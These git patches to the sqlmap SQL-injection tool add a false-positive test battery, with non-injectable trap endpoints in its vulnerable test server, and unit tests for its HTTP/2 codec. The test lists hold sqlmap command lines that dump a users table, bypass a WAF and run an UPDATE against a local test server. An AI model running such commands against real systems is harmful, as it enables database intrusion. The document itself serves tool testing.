extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py +9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py 736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py @@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2 lib/core/optiondict.py +4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py 98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,18 +189,18 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -35c24cf138fdd68add3c8f6274d6ff735b5209c84eec635ba316f986b67325ef lib/core/settings.py +61024490352e898a43f1cb001fb79276d185ef3579b6230df46badf573336833 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4 lib/core/testing.py +96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001 lib/parse/cmdline.py +d6ba23b8f3d40cb021de1ebe50eabf891f060df77e9643838ff8fd3850b507d0 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -509,7 +509,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py +d375c77f1f4270ec0967e67963fe410f14b5d2e51ed6483593dc1aaa4e8e106e sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index f20c318ebc0..80290048cb1 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -17,6 +17,7 @@ import string import sys import threading +import time import traceback PY3 = sys.version_info >= (3, 0) @@ -1044,6 +1045,57 @@ def do_REQUEST(self): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/fp": + # False-positive battery traps (exercised on demand by '--fp-test'). Every trap is + # deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not + # injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin). + trap = self.params.get("trap", "reflect") + idv = self.params.get("id", "1") + + def _rnd(n=8): + return "".join(random.choice("0123456789abcdef") for _ in range(n)) + + if trap == "intcast": + # parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean + # payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it. + try: + hit = int(idv) in (1, 2, 3) + except ValueError: + hit = False + output = "SQL results:%s
" % ("%slutherblisset" % idv if hit else "") + elif trap == "structrand": + # heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not + # reflected into the structure -> stresses the structure-aware comparison oracle. + rows = "".join("%s%s" % (_rnd(), _rnd()) for _ in range(3)) + output = ("Report
%s
" + "%s
" + "
%s
" % (_rnd(), _rnd(), rows, _rnd())) + elif trap == "acceptall": + # 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel. + output = "OK welcome to the portal" + elif trap == "reflect": + # echoes the parameter verbatim (reflection) with no SQL sink. + output = "you searched for: %s" % idv + elif trap == "errors": + # DB-error-looking text for any non-baseline input -> baits error-based detection. + output = "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result" if idv != "1" else "SQL results:
1luther
" + elif trap == "lengthrand": + # response length varies at random (not with the payload) -> baits length-based heuristics. + output = "ok %s" % _rnd(random.choice([4, 40, 400])) + elif trap == "slowrand": + # random latency, uncorrelated with the payload -> baits time-based detection. + time.sleep(random.choice([0, 0, 0, 1])) + output = "ok %s" % _rnd() + else: + output = "?" + + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 7b05a06525c..21c6cfa37fd 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -282,6 +282,7 @@ "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", + "fpTest": "boolean", "apiTest": "boolean", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index f1fc8935e57..0c7de36ad88 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.3" +VERSION = "1.10.7.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index e1414e43eca..787d049ce53 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -41,12 +41,12 @@ from lib.core.settings import IS_WIN from lib.core.settings import RESTAPI_VERSION -def vulnTest(): +def vulnTest(tests=None, label="vuln"): """ - Runs the testing against 'vulnserver' + Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS) """ - TESTS = ( + TESTS = tests if tests is not None else ( ("-h", ("to see full list of options run with '-hh'",)), ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), @@ -63,7 +63,7 @@ def vulnTest(): ("-u --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold ("-u --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does ("-u --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat - ("-u -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof + ("-u -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), @@ -73,7 +73,7 @@ def vulnTest(): ("-u -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), ("-u --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), ("-u --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), - ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), @@ -83,7 +83,7 @@ def vulnTest(): ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), - ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), + ("-u --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor @@ -97,7 +97,7 @@ def vulnTest(): ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), - ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")), + ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) @@ -263,9 +263,9 @@ def _thread(): clearConsoleLine() if retVal: - logger.info("vuln test final result: PASSED") + logger.info("%s test final result: PASSED" % label) else: - logger.error("vuln test final result: FAILED") + logger.error("%s test final result: FAILED" % label) for filename in cleanups: try: @@ -280,6 +280,31 @@ def _thread(): return retVal +def fpTest(): + """ + On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that + each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware + comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics), + paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin. + Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'. + """ + + FP_TESTS = ( + # false-positive traps -> sqlmap MUST NOT flag these as injectable + ("-u \"fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives + ("-u \"fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison + ("-u \"fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true) + ("-u \"fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling + ("-u \"fp?trap=errors&id=1\" -p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity + ("-u \"fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics + ("-u \"fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model + # true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+) + ("-u -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")), + ("-u \"&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)), + ) + + return vulnTest(tests=FP_TESTS, label="fp") + def apiTest(): """ Runs a basic live test of the REST API: launches the server in a separate process diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 086ffd903cf..b12f05281af 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -912,6 +912,9 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) + parser.add_argument("--fp-test", dest="fpTest", action="store_true", + help=SUPPRESS) + parser.add_argument("--api-test", dest="apiTest", action="store_true", help=SUPPRESS) @@ -1169,7 +1172,7 @@ def _format_action_invocation(self, action): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/sqlmap.py b/sqlmap.py index 3667ca27030..59c7e8510f3 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -192,6 +192,9 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.fpTest: + from lib.core.testing import fpTest + os._exitcode = 1 - (fpTest() or 0) elif conf.apiTest: from lib.core.testing import apiTest os._exitcode = 1 - (apiTest() or 0) @@ -607,7 +610,7 @@ def main(): except OSError: pass - if any((conf.vulnTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(tempDir, ignore_errors=True) except OSError: From 62a7bf3b03c60d8b31ccf28e24a4d6e010fa9f7d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 15:19:30 +0200 Subject: [PATCH 662/853] Adding tests for http2 functionality --- data/txt/sha256sums.txt | 5 +- lib/core/settings.py | 2 +- lib/request/http2.py | 43 +++++- tests/test_http2.py | 283 ++++++++++++++++++++++++++++++++++++++++ 4 files changed, 329 insertions(+), 4 deletions(-) create mode 100644 tests/test_http2.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 956c8865d93..751527657d8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -61024490352e898a43f1cb001fb79276d185ef3579b6230df46badf573336833 lib/core/settings.py +39884227376b9370b8ef246d791b98346a7acba146f9ca12a5bf540a252b31ba lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py -21e8e2d44788b124f741b76a483ce9528ca53ff6da6691808ee679fe91128050 lib/request/http2.py +3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py @@ -622,6 +622,7 @@ f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463 tests/test_gra cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py 0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py +b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c7de36ad88..b844d947068 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.4" +VERSION = "1.10.7.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/http2.py b/lib/request/http2.py index 2af00c69ec3..81351db4cd3 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -154,6 +154,11 @@ CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" def encode_frame(ftype, flags, stream_id, payload=b""): + """Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id. + + >>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9]) + (3, 1, 4, 1) + """ if len(payload) > 0xffffff: raise ValueError("frame payload exceeds 24-bit length") header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack) @@ -161,6 +166,11 @@ def encode_frame(ftype, flags, stream_id, payload=b""): return header + payload def decode_frame_header(nine): + """Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off. + + >>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9]) + (0, 0, 0, 1) + """ if len(nine) != 9: raise ValueError("frame header must be exactly 9 bytes") length = struct.unpack("!I", b"\x00" + nine[:3])[0] @@ -169,6 +179,13 @@ def decode_frame_header(nine): # ---------- Huffman ---------- def huffman_encode(data): + """Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits. + + >>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com' + True + >>> huffman_encode(b'') == b'' + True + """ if not data: return b"" acc = 0 @@ -224,6 +241,13 @@ def huffman_decode(data): # ---------- integer / string (RFC 7541 5.1 / 5.2) ---------- def encode_integer(value, prefix_bits, first_byte=0): + """Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix. + + >>> list(encode_integer(10, 5)) + [10] + >>> list(encode_integer(1337, 5)) + [31, 154, 10] + """ mask = (1 << prefix_bits) - 1 if value < mask: return bytearray([first_byte | value]) @@ -236,6 +260,11 @@ def encode_integer(value, prefix_bits, first_byte=0): return out def decode_integer(data, pos, prefix_bits): + """Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1). + + >>> decode_integer(bytearray([31, 154, 10]), 0, 5) + (1337, 3) + """ mask = (1 << prefix_bits) - 1 value = data[pos] & mask pos += 1 @@ -296,6 +325,11 @@ def _get(self, index): return self.dynamic[index] def decode(self, data): + """Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6). + + >>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')] + True + """ data = bytearray(data) pos = 0 headers = [] @@ -469,7 +503,14 @@ def h2_request(host, port=443, method="GET", path="/", authority=None, headers=N class H2Response(object): """A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's - request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).""" + request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()). + + >>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body') + >>> (r.code, r.msg, r.read() == b'body', r.geturl()) + (200, 'OK', True, 'https://x/') + >>> ':status' in r.info() + False + """ def __init__(self, url, status, headers, body): self.url = url diff --git a/tests/test_http2.py b/tests/test_http2.py new file mode 100644 index 00000000000..7c762648176 --- /dev/null +++ b/tests/test_http2.py @@ -0,0 +1,283 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native HTTP/2 client in +lib/request/http2.py: the RFC 7540 frame codec, the RFC 7541 HPACK integer / +Huffman / string primitives, the HPACK Decoder/Encoder (static + dynamic table), +and the urllib-compatible H2Response wrapper. + +Nothing here opens a socket or negotiates TLS - only the deterministic codecs and +the response adapter are exercised. Known vectors are the canonical RFC 7541 +examples; everything else is a round-trip / invariant check. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import binascii +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.http2 import ( + Decoder, + Encoder, + H2Response, + REDIRECT_CODES, + STATIC_LEN, + STATIC_TABLE, + DATA, + HEADERS, + FLAG_END_HEADERS, + FLAG_END_STREAM, + decode_frame_header, + decode_integer, + decode_string, + encode_frame, + encode_integer, + encode_string, + huffman_decode, + huffman_encode, +) + + +def _b(*ints): + # build a bytes object from ints (identical on Python 2 and 3) + return bytes(bytearray(ints)) + + +class TestFrameCodec(unittest.TestCase): + def test_roundtrip(self): + header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9] + self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1)) + + def test_payload_is_appended_verbatim(self): + frame = encode_frame(DATA, 0, 1, b"hello") + self.assertEqual(frame[9:], b"hello") + + def test_reserved_stream_bit_is_masked(self): + # the high (reserved) bit of the 31-bit stream id must be dropped on both ends + header = encode_frame(DATA, 0, 0x80000001, b"")[:9] + self.assertEqual(decode_frame_header(header), (0, DATA, 0, 1)) + + def test_zero_length_payload(self): + header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9] + length, _, flags, _ = decode_frame_header(header) + self.assertEqual(length, 0) + self.assertEqual(flags, FLAG_END_STREAM) + + def test_oversized_payload_rejected(self): + with self.assertRaises(ValueError): + encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1)) + + def test_bad_header_length_rejected(self): + with self.assertRaises(ValueError): + decode_frame_header(b"123") + + +class TestIntegerCoding(unittest.TestCase): + def test_rfc_c11_small(self): + # RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix + self.assertEqual(list(encode_integer(10, 5)), [10]) + + def test_rfc_c12_multibyte(self): + # RFC 7541 C.1.2: 1337 with a 5-bit prefix + self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10]) + self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3)) + + def test_rfc_c13_full_byte_prefix(self): + # RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary) + self.assertEqual(list(encode_integer(42, 8)), [42]) + + def test_roundtrip_across_prefixes(self): + for prefix in (4, 5, 6, 7, 8): + for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000): + encoded = bytearray(encode_integer(value, prefix)) + decoded, pos = decode_integer(encoded, 0, prefix) + self.assertEqual(decoded, value) + 